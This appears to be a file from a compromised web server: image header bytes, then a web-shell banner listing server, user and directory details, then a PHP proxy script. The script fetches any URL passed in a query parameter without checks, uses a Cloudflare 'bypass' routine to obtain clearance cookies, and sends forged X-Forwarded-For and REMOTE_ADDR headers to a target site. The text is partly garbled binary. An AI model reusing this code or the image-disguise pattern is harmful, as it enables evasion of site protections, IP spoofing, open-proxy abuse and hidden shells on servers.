���� JFIF �� � ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/vidoe.top/proxy/logs/curl22/ |
<?php /*ini_set('display_errors', 1);*/ require_once 'libraries/httpProxyClass.php'; require_once 'libraries/cloudflareClass.php'; $httpProxy = new httpProxy(); $httpProxyUA = 'proxyFactory'; $requestLink = trim($_GET['url']); //$reuestLink = 'http://anime47.com/'; $requestPage = json_decode($httpProxy->performRequest($requestLink)); // if page is protected by cloudflare if($requestPage->status->http_code == 503) { // Make this the same user agent you use for other cURL requests in your app cloudflare::useUserAgent($httpProxyUA); // attempt to get clearance cookie if($clearanceCookie = cloudflare::bypass($requestLink)) { // use clearance cookie to bypass page $requestPage = $httpProxy->performRequest($requestLink, 'GET', null, array( 'raw'=>array( 'Request Method: GET', 'Remote Address: 104.25.8.32:80', 'HTTP_X_REAL_IP: 104.25.8.32', 'REMOTE_ADDR: 104.25.8.32', 'HTTP_X_FORWARDED_FOR: 104.25.8.32', 'X-Forwarded-For: 104.25.8.32', 'Cache-Control: max-age=0', 'Connection: keep-alive', 'Host: anime47.com' ), 'cookies' => $clearanceCookie )); // return real page content for site $requestPage = json_decode($requestPage); echo $requestPage->content; } else { // could not fetch clearance cookie echo 'Could not fetch CloudFlare clearance cookie (most likely due to excessive requests)'; } }else{ echo $requestPage->content; } exit(); ?>